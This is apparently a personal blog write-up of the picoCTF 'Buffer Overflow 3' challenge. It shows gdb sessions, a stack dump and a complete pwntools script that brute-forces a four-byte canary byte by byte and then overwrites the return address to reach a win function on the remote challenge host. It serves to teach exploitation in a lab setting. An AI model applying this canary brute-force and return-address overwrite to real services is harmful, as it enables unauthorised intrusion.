user@sys

[m3rcurylake.mov]

[wired]

[user@sys]#>>

cat "Buffer Overflow 3.r3m"_

@Buffer Overflow 3

/October 20, 2025/

As usual, we are given compiled binary, its source and the host and port where challenge is hosted. This given challenge simulates a stack canary which we have to bypass. Well we could leak the canary code, but here we will take the bruteforce approach.First we need to create flag.txt with a flag and canary.txt file with 4 byte canary string. I chose the word CANA as the canary string for testing locally. The size of canary is defined in the source code as #define CANARY_SIZE 4. The application reads the canary string from the canary.txt file and places it somewhere in memory.

[*] '/home/ankit/writeups/buff_ovrfl_3/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Running this in gdb we get

gef➤  r
Starting program: /home/ankit/writeups/buff_ovrfl_3/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 64
Input> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
***** Stack Smashing Detected ***** : Canary Value Corrupt!
[Inferior 1 (process 9905) exited normally]

Finding the Canary

Canary starts at offset 64. Bruteforce it byte-by-byte by sending 64 * ‘A’ + known_prefix + trial_byte. If the program replies “Ok… Now Where’s the Flag?” the trial byte is correct; if it crashes with *** Stack Smashing Detected ***** : Canary Value Corrupt! it’s wrong. Now all we have to do is repeat, appending each discovered byte to the prefix and increasing the total input length by 1 until the full canary is recovered. After hit and trail we get to something like this, here we can conclude that passing the canary after the offset doesnt end in a *** Stack Smashing Detected ***** : Canary Value Corrupt!, which means everything is working.

gef➤  r
Starting program: /home/ankit/writeups/buff_ovrfl_3/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 68
Input> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACANA
Ok... Now Where's the Flag?
[Inferior 1 (process 10357) exited normally]

Now if we try to read the first 68 bytes from the position ebp-0x50, essentially dumping the ebp after putting a breakpoint, we find this.

gef➤  x/68bx $ebp-0x50
0xffffcca8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccb0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccb8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccc0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccc8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccd0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffccd8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcce0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffcce8:	0x43	0x41	0x4e	0x41

The 0x41s from 0xffffcca8 to 0xffffcce0 are basically A*68. And the rest 0xffffcce8 is the canary value.

Finally…

With all the knowledge we have gathered poking around, we can finally write the exploit script. Also I wanted to convey that this following code isn’t written by me, my code looked awful and barely worked. So I scraped it off of a blog. So yeah, thanks hoodie guy.

from pwn import *
import sys
import string
import argparse


canary_offset = 64
canary_size = 4

canary = b""

chall = ELF("./vuln")


def get_process():
    return remote('saturn.picoctf.net', 55800)


for i in range(1,5):

        for canary_char in string.printable:

                r = get_process()

                r.sendlineafter(b"> ", b"%d" % (canary_offset + i))


                payload = b"A"* canary_offset + canary
                payload += canary_char.encode()


                r.sendlineafter(b"> ", payload)

                resp = r.recvall()

                print (resp)

                if b"Now Where's the Flag" in resp:
                        canary += canary_char.encode()
                        break
                r.close()

if not len(canary) == 4:
        print ("[-] Failed to find canary!")
        sys.exit()

else:
        print ("[+] Found canary : %s" % canary.decode())

win = 0x8049336

payload = b"A" * 64         
payload += canary
payload += b"A" * 16          
payload += p32(win)


r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))

r.sendlineafter(b"> ", payload)
resp = r.recvall()
print (resp)

Letting this run for about 5 mins would get you your flag. Good luck.

[~Ankit Mukherjee]